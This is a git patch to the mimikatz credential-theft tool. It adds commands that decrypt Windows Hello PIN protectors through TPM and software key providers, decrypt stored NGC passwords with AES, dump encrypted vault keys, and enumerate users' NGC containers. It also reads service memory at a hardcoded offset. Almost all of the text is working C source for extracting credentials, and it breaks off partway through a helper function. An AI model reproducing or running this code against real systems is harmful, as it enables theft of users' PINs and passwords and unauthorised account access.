From ba8d11ebe1e79f2df794fcc79d117bda27b754f6 Mon Sep 17 00:00:00 2001 From: Benjamin DELPY Date: Mon, 24 Aug 2020 06:11:42 +0200 Subject: [PATCH] [new] ngc::pin for software keys, ngc::decrypt for passwords, etc. --- mimikatz/modules/kerberos/kuhl_m_kerberos.c | 2 +- mimikatz/modules/kuhl_m_crypto.c | 2 +- mimikatz/modules/kuhl_m_vault.c | 47 ++- mimikatz/modules/kuhl_m_vault.h | 2 + mimikatz/modules/ngc/kuhl_m_ngc.c | 416 +++++++++++++++++--- mimikatz/modules/ngc/kuhl_m_ngc.h | 16 +- modules/kull_m_crypto.h | 4 + modules/kull_m_crypto_ngc.c | 106 +++++ modules/kull_m_crypto_ngc.h | 29 +- modules/kull_m_file.c | 8 +- modules/kull_m_file.h | 2 +- 11 files changed, 549 insertions(+), 85 deletions(-) diff --git a/mimikatz/modules/kerberos/kuhl_m_kerberos.c b/mimikatz/modules/kerberos/kuhl_m_kerberos.c index 1bb2d83f..8ee8152b 100644 --- a/mimikatz/modules/kerberos/kuhl_m_kerberos.c +++ b/mimikatz/modules/kerberos/kuhl_m_kerberos.c @@ -63,7 +63,7 @@ NTSTATUS kuhl_m_kerberos_ptt(int argc, wchar_t * argv[]) if(PathIsDirectory(argv[i])) { kprintf(L"* Directory: \'%s\'\n", argv[i]); - kull_m_file_Find(argv[i], L"*.kirbi", FALSE, 0, FALSE, kuhl_m_kerberos_ptt_directory, NULL); + kull_m_file_Find(argv[i], L"*.kirbi", FALSE, 0, FALSE, FALSE, kuhl_m_kerberos_ptt_directory, NULL); } else kuhl_m_kerberos_ptt_directory(0, argv[i], PathFindFileName(argv[i]), NULL); } diff --git a/mimikatz/modules/kuhl_m_crypto.c b/mimikatz/modules/kuhl_m_crypto.c index 79c1e0f7..02102c39 100644 --- a/mimikatz/modules/kuhl_m_crypto.c +++ b/mimikatz/modules/kuhl_m_crypto.c @@ -928,7 +928,7 @@ NTSTATUS kuhl_m_crypto_system(int argc, wchar_t * argv[]) if(PathIsDirectory(infile)) { kprintf(L"* Directory: \'%s\'\n", infile); - kull_m_file_Find(infile, NULL, FALSE, 0, FALSE, kuhl_m_crypto_system_directory, &isExport); + kull_m_file_Find(infile, NULL, FALSE, 0, FALSE, FALSE, kuhl_m_crypto_system_directory, &isExport); } else kuhl_m_crypto_system_directory(0, infile, PathFindFileName(infile), &isExport); } diff --git a/mimikatz/modules/kuhl_m_vault.c b/mimikatz/modules/kuhl_m_vault.c index e9ed0474..388a338a 100644 --- a/mimikatz/modules/kuhl_m_vault.c +++ b/mimikatz/modules/kuhl_m_vault.c @@ -61,7 +61,7 @@ const VAULT_SCHEMA_HELPER schemaHelper[] = { {{{0xb2e033f5, 0x5fde, 0x450d, {0xa1, 0xbd, 0x37, 0x91, 0xf4, 0x65, 0x72, 0x0c}}, L"Pin Logon"}, kuhl_m_vault_list_descItem_PINLogonOrPicturePasswordOrBiometric}, {{{0xb4b8a12b, 0x183d, 0x4908, {0x95, 0x59, 0xbd, 0x8b, 0xce, 0x72, 0xb5, 0x8a}}, L"Picture Password"}, kuhl_m_vault_list_descItem_PINLogonOrPicturePasswordOrBiometric}, {{{0xfec87291, 0x14f6, 0x40b6, {0xbd, 0x98, 0x7f, 0xf2, 0x45, 0x98, 0x6b, 0x26}}, L"Biometric"}, kuhl_m_vault_list_descItem_PINLogonOrPicturePasswordOrBiometric}, - {{{0x1d4350a3, 0x330d, 0x4af9, {0xb3, 0xff, 0xa9, 0x27, 0xa4, 0x59, 0x98, 0xac}}, L"Next Generation Credential"}, NULL}, + {{{0x1d4350a3, 0x330d, 0x4af9, {0xb3, 0xff, 0xa9, 0x27, 0xa4, 0x59, 0x98, 0xac}}, L"Next Generation Credential"}, kuhl_m_vault_list_descItem_ngc}, }; NTSTATUS kuhl_m_vault_list(int argc, wchar_t * argv[]) @@ -196,13 +196,13 @@ void CALLBACK kuhl_m_vault_list_descItem_PINLogonOrPicturePasswordOrBiometric(co if(enumItem8->Identity && (enumItem8->Identity->Type == ElementType_ByteArray)) { kprintf(L"\t\tUser : "); + kull_m_string_displaySID((PSID) enumItem8->Identity->data.ByteArray.Value); if(kull_m_token_getNameDomainFromSID((PSID) enumItem8->Identity->data.ByteArray.Value, &name, &domain, NULL, NULL)) { - kprintf(L"%s\\%s", domain, name); + kprintf(L" (%s\\%s)", domain, name); LocalFree(name); LocalFree(domain); } - else kull_m_string_displaySID((PSID) enumItem8->Identity->data.ByteArray.Value); kprintf(L"\n"); if(pGuidString->guid.Data1 == 0x0b4b8a12b) @@ -257,11 +257,11 @@ void CALLBACK kuhl_m_vault_list_descItem_PINLogonOrPicturePasswordOrBiometric(co { switch(pGuidString->guid.Data1) { - case 0x0b2e033f5: // pin + case 0xb2e033f5: // pin if((enumItem8->Properties + 0)->Type == ElementType_UnsignedShort) kprintf(L"\t\tPIN Code : %04hu\n", (enumItem8->Properties + 0)->data.UnsignedShort); break; - case 0x0b4b8a12b: // picture + case 0xb4b8a12b: // picture if((enumItem8->Properties + 0)->Type == ElementType_ByteArray) { pElements = (PVAULT_PICTURE_PASSWORD_ELEMENT) (enumItem8->Properties + 0)->data.ByteArray.Value; @@ -293,7 +293,7 @@ void CALLBACK kuhl_m_vault_list_descItem_PINLogonOrPicturePasswordOrBiometric(co } } break; - case 0x0fec87291: // biometric + case 0xfec87291: // biometric if((enumItem8->Properties + 0)->Type == ElementType_ByteArray) { bElements = (PVAULT_BIOMETRIC_ELEMENT) (enumItem8->Properties + 0)->data.ByteArray.Value; @@ -312,6 +312,41 @@ void CALLBACK kuhl_m_vault_list_descItem_PINLogonOrPicturePasswordOrBiometric(co } } +void CALLBACK kuhl_m_vault_list_descItem_ngc(const VAULT_GUID_STRING * pGuidString, PVOID enumItem, PVOID getItem, BOOL is8) +{ + PVAULT_ITEM_8 enumItem8 = (PVAULT_ITEM_8) enumItem, getItem8 = (PVAULT_ITEM_8) getItem; + PWSTR name, domain; + PKIWI_NGC_CREDENTIAL pNgcCred; + + if(enumItem8->Identity && (enumItem8->Identity->Type == ElementType_ByteArray)) + { + kprintf(L"\t\tUser : "); + kull_m_string_displaySID((PSID) enumItem8->Identity->data.ByteArray.Value); + if(kull_m_token_getNameDomainFromSID((PSID) enumItem8->Identity->data.ByteArray.Value, &name, &domain, NULL, NULL)) + { + kprintf(L" (%s\\%s)", domain, name); + LocalFree(name); + LocalFree(domain); + } + kprintf(L"\n"); + } + + if(getItem8 && getItem8->Authenticator && (getItem8->Authenticator->Type == ElementType_ByteArray)) + { + if(pNgcCred = (PKIWI_NGC_CREDENTIAL) getItem8->Authenticator->data.ByteArray.Value) + { + kprintf(L"\t\tEncKey : "); + kull_m_string_wprintf_hex(pNgcCred->Data, pNgcCred->cbEncryptedKey, 0); + kprintf(L"\n\t\tIV : "); + kull_m_string_wprintf_hex(pNgcCred->Data + pNgcCred->cbEncryptedKey, pNgcCred->cbIV, 0); + kprintf(L"\n\t\tEncPassword : "); + kull_m_string_wprintf_hex(pNgcCred->Data + pNgcCred->cbEncryptedKey + pNgcCred->cbIV, pNgcCred->cbEncryptedPassword, 0); + kprintf(L"\n"); + } + } +} + + void kuhl_m_vault_list_descVault(HANDLE hVault) { VAULT_INFORMATION information; diff --git a/mimikatz/modules/kuhl_m_vault.h b/mimikatz/modules/kuhl_m_vault.h index c4391972..a0f5979a 100644 --- a/mimikatz/modules/kuhl_m_vault.h +++ b/mimikatz/modules/kuhl_m_vault.h @@ -9,6 +9,7 @@ #include "../modules/kull_m_token.h" #include "../modules/kull_m_patch.h" #include "../modules/kull_m_cred.h" +#include "../modules/kull_m_crypto_ngc.h" const KUHL_M kuhl_m_vault; @@ -27,6 +28,7 @@ typedef struct _VAULT_GUID_STRING { } VAULT_GUID_STRING, *PVAULT_GUID_STRING; void CALLBACK kuhl_m_vault_list_descItem_PINLogonOrPicturePasswordOrBiometric(const VAULT_GUID_STRING * pGuidString, PVOID enumItem, PVOID getItem, BOOL is8); +void CALLBACK kuhl_m_vault_list_descItem_ngc(const VAULT_GUID_STRING * pGuidString, PVOID enumItem, PVOID getItem, BOOL is8); typedef void (CALLBACK * PSCHEMA_HELPER_FUNC) (const VAULT_GUID_STRING * pGuidString, PVOID enumItem, PVOID getItem, BOOL is8); typedef struct _VAULT_SCHEMA_HELPER { diff --git a/mimikatz/modules/ngc/kuhl_m_ngc.c b/mimikatz/modules/ngc/kuhl_m_ngc.c index 1ef754d8..9854ca35 100644 --- a/mimikatz/modules/ngc/kuhl_m_ngc.c +++ b/mimikatz/modules/ngc/kuhl_m_ngc.c @@ -9,6 +9,8 @@ const KUHL_M_C kuhl_m_c_ngc[] = { {kuhl_m_ngc_logondata, L"logondata", L":)"}, {kuhl_m_ngc_pin, L"pin", L"Try do decrypt a PIN Protector"}, {kuhl_m_ngc_sign, L"sign", L"Try to sign"}, + {kuhl_m_ngc_decrypt, L"decrypt", L"Try to decrypt"}, + {kuhl_m_ngc_enum, L"enum", NULL}, }; const KUHL_M kuhl_m_ngc = { @@ -186,7 +188,7 @@ NTSTATUS kuhl_m_ngc_logondata(int argc, wchar_t * argv[]) { if(kull_m_process_getVeryBasicModuleInformationsForName(aRemote.hMemory, L"NgcCtnrSvc.dll", &iModule)) { - aRemote.address = (PBYTE) iModule.DllBase.address + 0xbef10; + aRemote.address = (PBYTE) iModule.DllBase.address + /*0xB4F90;//*/0xbef10; // ContainerManager -- InternalUninitializeService@@YAXXZ proc near if(kull_m_memory_copy(&aLocalBuffer, &aRemote, sizeof(containerManager))) { aRemote.address = containerManager.unk7; @@ -269,99 +271,144 @@ BOOL getContent(DWORD dwReadFlags, LPCWSTR Root, LPCWSTR guid, BOOL isData, BOOL return status; } +#define ID_PROTECTOR_PROVIDER 1 +#define ID_PROTECTOR_KEYNAME 2 +//#define ID_PROTECTOR_ +#define ID_PROTECTOR_TIMESTAMP 9 +//#define ID_PROTECTOR_ +#define ID_PROTECTOR_ENC_PINS 15 + +void printUnkPins(PUNK_RAW_PIN pRaw) +{ + if(pRaw->cbPin0) + { + kprintf(L" UnkPin : "); + kull_m_string_wprintf_hex(pRaw->data, pRaw->cbPin0, 4); + kprintf(L"\n"); + } + if(pRaw->cbPin1) + { + kprintf(L" DecryptPin: "); + kull_m_string_wprintf_hex(pRaw->data + pRaw->cbPin0, pRaw->cbPin1, 4); + kprintf(L"\n"); + } + if(pRaw->cbPin2) + { + kprintf(L" SignPin : "); + kull_m_string_wprintf_hex(pRaw->data + pRaw->cbPin0 + pRaw->cbPin1, pRaw->cbPin2, 4); + kprintf(L"\n"); + } +} + NTSTATUS kuhl_m_ngc_pin(int argc, wchar_t * argv[]) { - LPCWSTR guid, pin; - PBYTE data; - DWORD cbData, cbResult, cbPin, i, dwReadFlags = kull_m_string_args_byName(argc, argv, L"withbackup", NULL, NULL) ? FILE_FLAG_BACKUP_SEMANTICS : 0; SECURITY_STATUS status; NCRYPT_PROV_HANDLE hProv; - NCRYPT_KEY_HANDLE hSealKey; - BYTE output[128] = {0}; - UNK_PIN uPin; - UNK_PADDING uPadding = {0, 1, &uPin}; + LPCWSTR guid, pin; + LPWSTR szProviderName, szKeyName, domain, name; + PBYTE data, UserPin = NULL, EncryptedPins; + DWORD cbData, cbResult, dwReadFlags = kull_m_string_args_byName(argc, argv, L"withbackup", NULL, NULL) ? FILE_FLAG_BACKUP_SEMANTICS : 0, dwImplType, dwUserPin = 0, dwEncryptedPins; PUNK_RAW_PIN pRaw; + PSID pSid; + char *aPin; if(kull_m_string_args_byName(argc, argv, L"guid", &guid, NULL)) { - if(getContent(dwReadFlags, NULL, guid, FALSE, TRUE, L"1", 1, &data, &cbData)) + if(getContent(dwReadFlags, NULL, guid, FALSE, FALSE, NULL, 1, &data, &cbData)) { - kprintf(L"Provider : %.*s\n", cbData / sizeof(wchar_t), data); + kprintf(L"User SID : %.*s", cbData / sizeof(wchar_t), data); + if(ConvertStringSidToSid((LPCWSTR) data, &pSid)) + { + if(kull_m_token_getNameDomainFromSID(pSid, &name, &domain, NULL, NULL)) + { + kprintf(L" ( %s\\%s )", domain, name); + LocalFree(name); + LocalFree(domain); + } + LocalFree(pSid); + } + kprintf(L"\n"); LocalFree(data); } - if(getContent(dwReadFlags, NULL, guid, FALSE, TRUE, L"1", 9, &data, &cbData)) + if(kull_m_string_args_byName(argc, argv, L"pin", &pin, NULL)) + { + if(aPin = kull_m_string_unicode_to_ansi(pin)) + { + kprintf(L"Pin code : %S\nHex pin : ", aPin); + if(UserPin = kull_m_crypto_ngc_pin_BinaryPinToPinProperty((LPCBYTE) aPin, lstrlenA(aPin), &dwUserPin)) + { + kull_m_string_wprintf_hex(UserPin, dwUserPin - sizeof(wchar_t), 0); + kprintf(L"("); + kull_m_string_wprintf_hex(UserPin + dwUserPin - sizeof(wchar_t), sizeof(wchar_t), 0); + kprintf(L")"); + } + kprintf(L"\n"); + LocalFree(aPin); + } + } + + if(getContent(dwReadFlags, NULL, guid, FALSE, TRUE, L"1", ID_PROTECTOR_TIMESTAMP, &data, &cbData)) { - kprintf(L"Timestamp: "); + kprintf(L"Timestamp : "); kull_m_string_displayLocalFileTime((PFILETIME) data); kprintf(L"\n"); LocalFree(data); } - if(getContent(dwReadFlags, NULL, guid, FALSE, TRUE, L"1", 15, &data, &cbData)) + if(getContent(dwReadFlags, NULL, guid, FALSE, TRUE, L"1", ID_PROTECTOR_ENC_PINS, &EncryptedPins, &dwEncryptedPins)) { - if(kull_m_string_args_byName(argc, argv, L"pin", &pin, NULL)) + if(getContent(dwReadFlags, NULL, guid, FALSE, TRUE, L"1", ID_PROTECTOR_PROVIDER, (PBYTE *) &szProviderName, &cbData)) { - cbPin = lstrlen(pin); - uPin.cbData = ((cbPin * 2) + 1) * sizeof(wchar_t); - uPin.unk0 = 0x46; - uPin.pData = (PWSTR) LocalAlloc(LPTR, uPin.cbData); - if(uPin.pData) + kprintf(L"Provider : %.*s\n", cbData / sizeof(wchar_t), szProviderName); + status = NCryptOpenStorageProvider(&hProv, szProviderName, 0); + if(status == ERROR_SUCCESS) { - for(i = 0; i < cbPin; i++) - swprintf_s(uPin.pData + i * 2, uPin.cbData - i * 2, L"%02X", pin[i]); - - status = NCryptOpenStorageProvider(&hProv, MS_PLATFORM_CRYPTO_PROVIDER /**/, 0); + status = NCryptGetProperty(hProv, NCRYPT_IMPL_TYPE_PROPERTY, (PBYTE) &dwImplType, sizeof(dwImplType), &cbResult, 0); if(status == ERROR_SUCCESS) { - status = NCryptOpenKey(hProv, &hSealKey, TPM_RSA_SRK_SEAL_KEY, 0, NCRYPT_SILENT_FLAG); - if(status == ERROR_SUCCESS) + if(dwImplType == NCRYPT_IMPL_HARDWARE_FLAG) { - status = NCryptDecrypt(hSealKey, data, cbData, &uPadding, output, sizeof(output), &cbResult, NCRYPT_SEALING_FLAG); - if(status == ERROR_SUCCESS) + if(UserPin && dwUserPin) { - kprintf(L"Decrypted:\n"); - pRaw = (PUNK_RAW_PIN) output; - - if(pRaw->cbPin0) + status = kull_m_crypto_ngc_hardware_unseal(hProv, UserPin, dwUserPin, EncryptedPins, dwEncryptedPins, (PBYTE *) &pRaw, &cbResult); + if(status == ERROR_SUCCESS) { - kprintf(L" pin?: "); - kull_m_string_wprintf_hex(pRaw->data, pRaw->cbPin0, 4); - kprintf(L"\n"); + printUnkPins(pRaw); + LocalFree(pRaw); } - - if(pRaw->cbPin1) + } + } + else if(dwImplType == NCRYPT_IMPL_SOFTWARE_FLAG) + { + if(getContent(dwReadFlags, NULL, guid, FALSE, TRUE, L"1", ID_PROTECTOR_KEYNAME, (PBYTE *) &szKeyName, &cbData)) + { + kprintf(L"KeyName : %.*s\n", cbData / sizeof(wchar_t), szKeyName); + if(UserPin && dwUserPin) { - kprintf(L" pin?: "); - kull_m_string_wprintf_hex(pRaw->data + pRaw->cbPin0, pRaw->cbPin1, 4); - kprintf(L"\n"); - } - - if(pRaw->cbPin2) - { - kprintf(L" PIN : "); - kull_m_string_wprintf_hex(pRaw->data + pRaw->cbPin0 + pRaw->cbPin1, pRaw->cbPin2, 4); - kprintf(L"\n"); + status = kull_m_crypto_ngc_software_decrypt(hProv, szKeyName, UserPin, dwUserPin, EncryptedPins, dwEncryptedPins, (PBYTE *) &pRaw, &cbResult); + if(status == ERROR_SUCCESS) + { + printUnkPins(pRaw); + LocalFree(pRaw); + } } + LocalFree(szKeyName); } - else PRINT_ERROR(L"NCryptDecrypt(seal): 0x%08x\n", status); - status = NCryptFreeObject(hSealKey); } - else PRINT_ERROR(L"NCryptOpenKey(seal): 0x%08x\n", status); - status = NCryptFreeObject(hProv); + else PRINT_ERROR(L"dwImplType: 0x%08x\n", dwImplType); } - else PRINT_ERROR(L"NCryptOpenStorageProvider: 0x%08x\n", status); - LocalFree(uPin.pData); + else PRINT_ERROR(L"NCryptGetProperty(NCRYPT_IMPL_TYPE_PROPERTY): 0x%08x\n", status); + status = NCryptFreeObject(hProv); } + else PRINT_ERROR(L"NCryptOpenStorageProvider: 0x%08x\n", status); + LocalFree(szProviderName); } - else - { - kprintf(L"Encrypted:\n"); - kull_m_string_wprintf_hex(data, cbData, 1 | (32 << 16)); - kprintf(L"\n"); - } - LocalFree(data); + LocalFree(EncryptedPins); } + + if(UserPin) + LocalFree(UserPin); } else PRINT_ERROR(L"guid argument is missing\n"); @@ -424,5 +471,256 @@ NTSTATUS kuhl_m_ngc_sign(int argc, wchar_t * argv[]) } else PRINT_ERROR(L"key argument is missing\n"); + return STATUS_SUCCESS; +} + +NTSTATUS kuhl_m_ngc_decrypt(int argc, wchar_t * argv[]) +{ + SECURITY_STATUS status; + NCRYPT_PROV_HANDLE hProv; + LPCWSTR szProvider, szKeyName, szData, szPin, szIV, szEncPassword; + PBYTE pbData, pbOutput, pbIV, pbEncPassword, pbPassword; + DWORD cbData, cbOutput, cbIV, cbEncPassword, cbPassword; + BCRYPT_ALG_HANDLE hAlg; + BCRYPT_KEY_HANDLE hKey; + + kull_m_string_args_byName(argc, argv, L"provider", &szProvider, MS_KEY_STORAGE_PROVIDER); + if(kull_m_string_args_byName(argc, argv, L"keyname", &szKeyName, NULL)) + { + if(kull_m_string_args_byName(argc, argv, L"pin", &szPin, NULL)) + { + if(kull_m_string_args_byName(argc, argv, L"data", &szData, NULL) || kull_m_string_args_byName(argc, argv, L"enckey", &szData, NULL)) + { + if(kull_m_string_stringToHexBuffer(szData, &pbData, &cbData)) + { + kprintf(L"Provider : %s\nKeyName : %s\nKey PIN : %s\nData : ", szProvider, szKeyName, szPin); + kull_m_string_wprintf_hex(pbData, cbData, 0); + kprintf(L"\n"); + status = NCryptOpenStorageProvider(&hProv, szProvider, 0); + if(status == ERROR_SUCCESS) + { + status = kull_m_crypto_ngc_software_decrypt(hProv, szKeyName, (LPCBYTE) szPin, (lstrlen(szPin) + 1) * sizeof(wchar_t), pbData, cbData, &pbOutput, &cbOutput); + if(status == ERROR_SUCCESS) + { + kprintf(L"Output : "); + kull_m_string_wprintf_hex(pbOutput, cbOutput, 0); + kprintf(L"\n"); + if(kull_m_string_args_byName(argc, argv, L"iv", &szIV, NULL) && kull_m_string_args_byName(argc, argv, L"encPassword", &szEncPassword, NULL)) + { + if(kull_m_string_stringToHexBuffer(szIV, &pbIV, &cbIV)) + { + kprintf(L"IV : "); + kull_m_string_wprintf_hex(pbIV, cbIV, 0); + kprintf(L"\n"); + if(kull_m_string_stringToHexBuffer(szEncPassword, &pbEncPassword, &cbEncPassword)) + { + kprintf(L"EncPassword: "); + kull_m_string_wprintf_hex(pbEncPassword, cbEncPassword, 0); + kprintf(L"\n"); + + status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0); + if(status == STATUS_SUCCESS) + { + status = BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, pbOutput, cbOutput, 0); + if(status == STATUS_SUCCESS) + { + status = BCryptDecrypt(hKey, pbEncPassword, cbEncPassword, NULL, pbIV, cbIV, NULL, 0, &cbPassword, BCRYPT_BLOCK_PADDING); + if(status == STATUS_SUCCESS) + { + if(pbPassword = (PBYTE) LocalAlloc(LPTR, cbPassword)) + { + status = BCryptDecrypt(hKey, pbEncPassword, cbEncPassword, NULL, pbIV, cbIV, pbPassword, cbPassword, &cbPassword, BCRYPT_BLOCK_PADDING); + if(status == STATUS_SUCCESS) + { + kprintf(L"\nPassword : %.*s\n", cbPassword / sizeof(wchar_t), pbPassword); + } + else PRINT_ERROR(L"BCryptDecrypt(data): 0x%08x\n", status); + LocalFree(pbPassword); + } + } + else PRINT_ERROR(L"BCryptDecrypt(init): 0x%08x\n", status); + BCryptDestroyKey(hKey); + } + else PRINT_ERROR(L"BCryptGenerateSymmetricKey: 0x%08x\n", status); + BCryptCloseAlgorithmProvider(hAlg, 0); + } + else PRINT_ERROR(L"BCryptOpenAlgorithmProvider: 0x%08x\n", status); + LocalFree(pbEncPassword); + } + else PRINT_ERROR(L"unable to convert encPassword from hex\n"); + LocalFree(pbIV); + } + else PRINT_ERROR(L"unable to convert IV from hex\n"); + } + LocalFree(pbOutput); + } + NCryptFreeObject(hProv); + } + else PRINT_ERROR(L"NCryptOpenStorageProvider: 0x%08x\n", status); + LocalFree(pbData); + } + else PRINT_ERROR(L"unable to convert data from hex\n"); + } + else PRINT_ERROR(L"a /data (or /enckey) argument is needed\n"); + } + else PRINT_ERROR(L"a /pin argument is needed\n"); + } + else PRINT_ERROR(L"a /keyname argument is needed\n"); + + return STATUS_SUCCESS; +} + +BOOL CALLBACK kuhl_m_ngc_enum_protectors(DWORD level, PCWCHAR fullpath, PCWCHAR path, PVOID pvArg) +{ + DWORD dwAttrib, cbData; + PBYTE data; + if(fullpath) + { + dwAttrib = GetFileAttributes(fullpath); + if((dwAttrib != INVALID_FILE_ATTRIBUTES) && (dwAttrib & FILE_ATTRIBUTE_DIRECTORY)) + { + kprintf(L" * %s\n", path, pvArg); + if(getContent(0, NULL, (LPCWSTR) pvArg, FALSE, TRUE, path, ID_PROTECTOR_PROVIDER, &data, &cbData)) + { + kprintf(L" Provider : %.*s\n", cbData / sizeof(wchar_t), data); + LocalFree(data); + } + if(getContent(0, NULL, (LPCWSTR) pvArg, FALSE, TRUE, path, ID_PROTECTOR_KEYNAME, &data, &cbData)) + { + kprintf(L" Key Name : %.*s\n", cbData / sizeof(wchar_t), data); + LocalFree(data); + } + if(getContent(0, NULL, (LPCWSTR) pvArg, FALSE, TRUE, path, ID_PROTECTOR_TIMESTAMP, &data, &cbData)) + { + kprintf(L" Timestamp: "); + kull_m_string_displayLocalFileTime((PFILETIME) data); + kprintf(L"\n"); + LocalFree(data); + } + if(getContent(0, NULL, (LPCWSTR) pvArg, FALSE, TRUE, path, ID_PROTECTOR_ENC_PINS, &data, &cbData)) + { + kprintf(L" Enc PINs : %u byte(s)\n", cbData); + LocalFree(data); + } + kprintf(L"\n"); + } + } + return FALSE; +} + +BOOL CALLBACK kuhl_m_ngc_enum_U(DWORD level, PCWCHAR fullpath, PCWCHAR path, PVOID pvArg) +{ + DWORD dwAttrib, cbData; + PBYTE data; + if(fullpath && _wcsicmp(path, L"{93F10861-19F1-42B8-AD24-93A28E9C4096}")) + { + dwAttrib = GetFileAttributes(fullpath); + if((dwAttrib != INVALID_FILE_ATTRIBUTES) && (dwAttrib & FILE_ATTRIBUTE_DIRECTORY)) + { + kprintf(L" * %s\n", path); + if(getContent(0, NULL, (LPCWSTR) pvArg, TRUE, FALSE, path, 1, &data, &cbData)) + { + kprintf(L" Name : %.*s\n", cbData / sizeof(wchar_t), data); + LocalFree(data); + } + if(getContent(0, NULL, (LPCWSTR) pvArg, TRUE, FALSE, path, 2, &data, &cbData)) + { + kprintf(L" Provider : %.*s\n", cbData / sizeof(wchar_t), data); + LocalFree(data); + } + if(getContent(0, NULL, (LPCWSTR) pvArg, TRUE, FALSE, path, 3, &data, &cbData)) + { + kprintf(L" Key Name : %.*s\n", cbData / sizeof(wchar_t), data); + LocalFree(data); + } + if(getContent(0, NULL, (LPCWSTR) pvArg, TRUE, FALSE, path, 4, &data, &cbData)) + { + kprintf(L" Certificate:\n"); + kull_m_string_wprintf_hex(data, cbData, 1 | (32 << 16)); + kprintf(L"\n"); + LocalFree(data); + } + kprintf(L"\n"); + } + } + return FALSE; +} + +BOOL CALLBACK kuhl_m_ngc_enum_directory(DWORD level, PCWCHAR fullpath, PCWCHAR path, PVOID pvArg) +{ + DWORD dwAttrib, cbData; + PBYTE data; + PSID pSid; + PWSTR name, domain, fullpathProtectors, fullpathU; + + if(fullpath) + { + dwAttrib = GetFileAttributes(fullpath); + if((dwAttrib != INVALID_FILE_ATTRIBUTES) && (dwAttrib & FILE_ATTRIBUTE_DIRECTORY)) + { + kprintf(L"\n* %s\n", path); + + if(getContent(0, NULL, path, FALSE, FALSE, NULL, 1, &data, &cbData)) + { + kprintf(L" User SID : %.*s", cbData / sizeof(wchar_t), data); + if(ConvertStringSidToSid((LPCWSTR) data, &pSid)) + { + if(kull_m_token_getNameDomainFromSID(pSid, &name, &domain, NULL, NULL)) + { + kprintf(L" ( %s\\%s )", domain, name); + LocalFree(name); + LocalFree(domain); + } + LocalFree(pSid); + } + kprintf(L"\n"); + LocalFree(data); + } + + if(getContent(0, NULL, path, FALSE, FALSE, NULL, 7, &data, &cbData)) + { + kprintf(L" Main Provider: %.*s\n", cbData / sizeof(wchar_t), data); + LocalFree(data); + } + + if(fullpathProtectors = (wchar_t *) LocalAlloc(LPTR, MAX_PATH * sizeof(wchar_t))) + { + if(wcscpy_s(fullpathProtectors, MAX_PATH, fullpath) == 0) + { + if(wcscat_s(fullpathProtectors, MAX_PATH, L"\\") == 0) + { + if(wcscat_s(fullpathProtectors, MAX_PATH, L"Protectors") == 0) + { + kprintf(L"\n Protectors:\n"); + kull_m_file_Find(fullpathProtectors, NULL, FALSE, 0, FALSE, TRUE, kuhl_m_ngc_enum_protectors, (PVOID) path); + } + } + } + LocalFree(fullpathProtectors); + } + + if(fullpathU = (wchar_t *) LocalAlloc(LPTR, MAX_PATH * sizeof(wchar_t))) + { + if(wcscpy_s(fullpathU, MAX_PATH, fullpath) == 0) + { + if(wcscat_s(fullpathU, MAX_PATH, L"\\") == 0) + { + if(wcscat_s(fullpathU, MAX_PATH, L"{93F10861-19F1-42B8-AD24-93A28E9C4096}") == 0) + { + kprintf(L"\n {93F10861-19F1-42B8-AD24-93A28E9C4096}:\n"); + kull_m_file_Find(fullpathU, NULL, FALSE, 0, FALSE, TRUE, kuhl_m_ngc_enum_U, (PVOID) path); + } + } + } + LocalFree(fullpathProtectors); + } + } + } + return FALSE; +} + +NTSTATUS kuhl_m_ngc_enum(int argc, wchar_t * argv[]) +{ + kull_m_file_Find(ngcRoot, NULL, FALSE, 0, FALSE, TRUE, kuhl_m_ngc_enum_directory, NULL); return STATUS_SUCCESS; } \ No newline at end of file diff --git a/mimikatz/modules/ngc/kuhl_m_ngc.h b/mimikatz/modules/ngc/kuhl_m_ngc.h index 11d9f173..0f2c94d4 100644 --- a/mimikatz/modules/ngc/kuhl_m_ngc.h +++ b/mimikatz/modules/ngc/kuhl_m_ngc.h @@ -9,12 +9,16 @@ #include "../../../modules/kull_m_service.h" #include "../../../modules/kull_m_remotelib.h" #include "../../../modules/kull_m_file.h" +#include "../../../modules/kull_m_crypto_ngc.h" +#include "../../../modules/kull_m_token.h" const KUHL_M kuhl_m_ngc; NTSTATUS kuhl_m_ngc_logondata(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_ngc_pin(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_ngc_sign(int argc, wchar_t * argv[]); +NTSTATUS kuhl_m_ngc_decrypt(int argc, wchar_t * argv[]); +NTSTATUS kuhl_m_ngc_enum(int argc, wchar_t * argv[]); typedef struct _Node { struct _Node *Left; @@ -99,18 +103,6 @@ typedef struct _structL { structToDecode d2; // pin here ? } structL, *PstructL; -typedef struct _UNK_PIN { - DWORD cbData; - DWORD unk0; - PWSTR pData; -} UNK_PIN, *PUNK_PIN; - -typedef struct _UNK_PADDING { - DWORD unk0; - DWORD unk1; - PUNK_PIN pin; -} UNK_PADDING, *PUNK_PADDING; - typedef struct _UNK_RAW_PIN { DWORD cbPin0; DWORD cbPin1; diff --git a/modules/kull_m_crypto.h b/modules/kull_m_crypto.h index dae261d1..380131e9 100644 --- a/modules/kull_m_crypto.h +++ b/modules/kull_m_crypto.h @@ -81,6 +81,10 @@ typedef struct _DSS_GENERICKEY3_BLOB { #define BCRYPT_ECDSA_PRIVATE_GENERIC_MAGIC 0x56444345 // ECDV #endif +#if !defined(BCRYPT_HMAC_SHA256_ALG_HANDLE) +#define BCRYPT_HMAC_SHA256_ALG_HANDLE ((BCRYPT_ALG_HANDLE) 0x000000b1) +#endif + #ifndef CRYPT_ECC_PRIVATE_KEY_INFO_v1 //+------------------------------------------------------------------------- // ECC Private Key Info diff --git a/modules/kull_m_crypto_ngc.c b/modules/kull_m_crypto_ngc.c index 07bd795d..4f61410a 100644 --- a/modules/kull_m_crypto_ngc.c +++ b/modules/kull_m_crypto_ngc.c @@ -185,5 +185,111 @@ BOOL kull_m_crypto_ngc_signature_pop(PBYTE pbKey, DWORD cbKey, PBYTE pbLabel, DW FreeLibrary(hModule); } else PRINT_ERROR_AUTO(L"LoadLibrary"); + return status; +} + +PBYTE kull_m_crypto_ngc_pin_BinaryPinToPinProperty(LPCBYTE pbBinary, DWORD cbBinary, DWORD *pcbResult) +{ + PWSTR data = NULL; + DWORD i, cbBuffer = cbBinary * 2 + 1; + + if(data = (PWSTR) LocalAlloc(LPTR, cbBuffer * sizeof(wchar_t))) + { + for(i = 0; i < cbBinary; i++) + swprintf_s(data + i * 2, cbBuffer - 